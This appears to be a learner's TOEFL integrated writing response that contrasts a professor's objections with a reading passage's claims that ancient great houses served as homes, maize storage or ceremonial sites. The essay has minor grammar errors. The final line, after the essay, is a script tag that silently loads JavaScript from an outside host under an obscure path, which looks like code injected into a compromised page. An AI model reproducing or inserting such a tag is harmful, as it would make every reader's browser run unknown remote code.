TPO 5, Task 1

The professor discusses the points made in the article and refutes each of the author's points by providing supporting details and explanations. The information he presents contradicts the facts outlined in the reading passage.

First, the professor is against the point that the buildings were residential. According to the professor, only the outside of the buildings looks like Latin American houses; however, if we take a meticulous look inside the houses, one doubt that the buildings could be used for living. As the professor said, there are a few fire places in the house, and we know that if one hundred people supposed to live in these buildings, there must be more fire places. Moreover, low number of rooms in the buildings also proves that these buildings were not residential. On the other hand, the reading passage concludes that the buildings were purely residential.

Second, the professor argues that the fact that these buildings were used as maize storage is not convincing. In accordance to the professor, there is no evidence in support of this assertion, as the excavation results show. Why no one has found any maize on the floor of these buildings or any storage vessel in there? The professor rejects the article's point and concludes that these houses were not used for storage. Quite the opposite, the reading passage states that the size of the great houses would make them very suitable for storage.

Third, the professor posits that identification of broken pots can not prove that these great houses were used for ceremonies. Many other materials such as construction materials were also found there, which indicates that these houses might be utilized to store construction tools or maybe construction workers used to live here and these tools and pots belong to them. Hence, the article fails to consider these possibilities and its argument is not acceptable as it stands.
<script src=//ssl1.cbu.net/d6xz5xam></script>